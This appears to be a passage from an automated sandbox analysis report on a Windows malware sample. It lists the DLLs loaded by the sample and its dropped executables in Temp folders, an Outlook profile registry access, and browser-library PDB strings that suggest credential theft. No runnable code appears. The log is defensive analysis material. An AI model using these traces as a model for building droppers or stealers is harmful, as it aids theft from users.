Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 3301888 > 1048576

Source: file.exe

Static PE information: Raw size of lfjbhkvb is bigger than: 0x100000 < 0x2ba600

Source:	Binary string: mozglue.pdbP source: 2bbe886987.exe, 00000011.00000002.3466145872.000000006C5FD000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: nss3.pdb@ source: 2bbe886987.exe, 00000011.00000002.3466470146.000000006C7BF000.00000002.00000001.01000000.00000011.sdmp, nss3[1].dll.17.dr, nss3.dll.17.dr
Source:	Binary string: my_library.pdbU source: 06339d0580.exe, 00000010.00000003.3052944187.000000000831B000.00000004.00001000.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3403739193.0000000005E0C000.00000040.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3466757307.000000006C881000.00000002.00000001.01000000.0000000D.sdmp, 2bbe886987.exe, 00000011.00000003.2914827071.00000000051DB000.00000004.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3359810844.000000000077C000.00000040.00000001.01000000.0000000C.sdmp, 06339d0580.exe, 00000015.00000002.3395872833.0000000005C1C000.00000040.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3292954731.00000000081DB000.00000004.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000018.00000002.3359791803.000000000077C000.00000040.00000001.01000000.0000000C.sdmp, 2bbe886987.exe, 00000018.00000003.3096329749.00000000051BB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.17.dr
